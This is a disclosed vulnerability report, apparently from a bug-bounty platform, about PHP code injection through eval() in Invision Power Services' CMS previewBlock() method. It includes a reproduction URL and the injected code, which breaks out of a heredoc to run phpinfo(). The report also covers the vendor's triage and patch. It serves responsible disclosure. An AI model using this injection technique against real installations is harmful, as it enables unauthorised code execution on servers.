25 PHP Code Injection through "previewBlock()" method

Share:

TIMELINE

egix submitted a report to Invision Power Services, Inc.. Feb 1st (2 years ago)

Summary:

The vulnerability exists because the `IPS\cms\modules\front\pages\_builder::previewBlock()` method allows to pass arbitrary content to the `IPS\_Theme::runProcessFunction()` method, which will be used in a call to the `eval()` function. This can be exploited to inject and execute arbitrary PHP code.

Steps To Reproduce:

- Login as an user with permission to manage the sidebar
- Browse to the following URL:

Code 224 Bytes Wrap lines Copy Download

```
1 http://[host]/[ips]/index.php?app=cms&module=pages&controller=builder&do=previewBlock&block_plugin=stats&block_template_use_how=copy&block_plugin_app=core&_
```

- This will result in the following PHP code to be passed to the `eval()` function from the `IPS\_Theme::runProcessFunction()` method:

Code 185 Bytes Wrap lines Copy Download

```
1  namespace IPS\Theme;
2  class class_content_template_for_block_
3  {
4   function run(  ) {
5       $return = '';
6       $return .= <<<CONTENT
7
8  RCE
9  CONTENT;}}phpinfo();die;/*
10  CONTENT;
11
12          return $return;
13  }}
```

- As a result, the `phpinfo()` function will be executed

Impact

A malicious user might be able to inject and execute arbitrary PHP code. Successful exploitation of this vulnerability requires an account with permission to manage the sidebar (such as a Moderator or Administrator) and the "cms" application to be enabled.

markwade changed the status to **Triaged**. Feb 1st (2 years ago)

egix posted a comment. Apr 2nd (2 years ago)

Hi @markwade, any update on this?

ips-stuart Invision Power Services, Inc. staff closed the report and changed the status to **Resolved**. Apr 6th (2 years ago)

Hello,

Thank you for responsibly reporting this issue, we do greatly appreciate it.

A patch was previously released to address this issue.

egix requested to disclose this report. Apr 28th (2 years ago)

This report has been disclosed. May 28th (2 years ago)